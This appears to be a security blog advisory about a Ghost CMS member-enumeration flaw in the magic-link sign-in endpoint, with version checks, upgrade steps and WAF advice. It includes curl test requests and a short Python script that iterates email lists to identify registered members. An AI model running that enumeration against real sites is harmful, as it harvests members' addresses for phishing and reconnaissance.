Listen to this Post
The vulnerability arises from an observable response discrepancy in the Ghost CMS member sign-in endpoints. When an unauthenticated attacker submits a magic link sign-in request for a given email address, the application handles the request through the `_handleSignin` method. If the email belongs to a registered member, the system processes the request normally, sends a magic link email, and returns a generic success response. However, if the email is not associated with any member, the application throws a `BadRequestError` and returns a distinct error message explicitly stating “No member exists with this e-mail address.”
This difference in response messages—success versus a specific error—allows an attacker to enumerate valid member email addresses on the Ghost site. The attack requires no authentication and can be performed remotely over the network. The issue is rooted in the application’s failure to provide uniform responses for both valid and invalid email inputs, which violates the principle of avoiding information leakage through error messages.
The vulnerability affects all Ghost versions from v5.18.0 up to v6.21.0. The flaw was addressed in version v6.21.1, which normalizes the response for both cases, preventing the leakage. The CVSS base score for this issue is 5.3 (Medium), with the vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, indicating low confidentiality impact but no integrity or availability impact.
The weakness is categorized under CWE-204 (Observable Response Discrepancy). The vulnerability was publicly disclosed on June 10, 2026, and the NVD published the CVE on June 24, 2026. The GitHub Advisory was updated on August 4, 2026. Self-hosted users are advised to update their instances immediately using the official Docker image or via Ghost-CLI upgrade commands.
DailyCVE Form:
Platform: Ghost CMS
Version: 5.18.0-6.21.0
Vulnerability: Member Enumeration
Severity: Moderate (CVSS 5.3)
date: 2026-06-10
Prediction: Already Patched (v6.21.1)
What Undercode Say:
Analytics
To check if your Ghost instance is vulnerable, you can verify the version by running the following command in your Ghost installation directory:
ghost version
For Docker-based deployments, inspect the container image tag:
docker inspect <container_name> | grep -i "ghost"
You can also test the vulnerability manually by sending a POST request to the magic link endpoint and observing the response differences:
curl -X POST https://your-ghost-site.com/members/api/send-magic-link \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
Compare the response with a non-existent email:
curl -X POST https://your-ghost-site.com/members/api/send-magic-link \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
If the responses differ (e.g., one returns success, the other returns “No member exists with this e-mail address”), your site is vulnerable.
Exploit:
An attacker can automate the enumeration process by iterating through a list of email addresses and recording which ones return the success response versus the error message. This can be done with a simple script:
import requests url = "https://your-ghost-site.com/members/api/send-magic-link" emails = ["[email protected]", "[email protected]", ...] for email in emails: resp = requests.post(url, json={"email": email}) if "No member exists" not in resp.text: print(f"Valid member: {email}")
The attack is stealthy as it does not require any prior knowledge and leaves minimal traces in server logs.
Protection:
The only complete fix is to upgrade to Ghost version 6.21.1 or later. For self-hosted installations using Docker, pull the latest image:
docker pull ghost:latest
For Ghost-CLI setups, run:
ghost update
If immediate upgrading is not possible, consider implementing a web application firewall (WAF) rule to detect and block requests with unusual patterns or high frequency of magic link requests. Additionally, monitor logs for repeated requests to the sign-in endpoint from single IP addresses.
Impact:
Successful exploitation allows an attacker to enumerate all registered member email addresses on the Ghost site. This information can be used for targeted phishing campaigns, social engineering attacks, or further reconnaissance. While the vulnerability does not directly lead to account takeover or data breach, it weakens the confidentiality of member information and can erode user trust. The impact is limited to confidentiality (C low) with no effect on integrity or availability.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
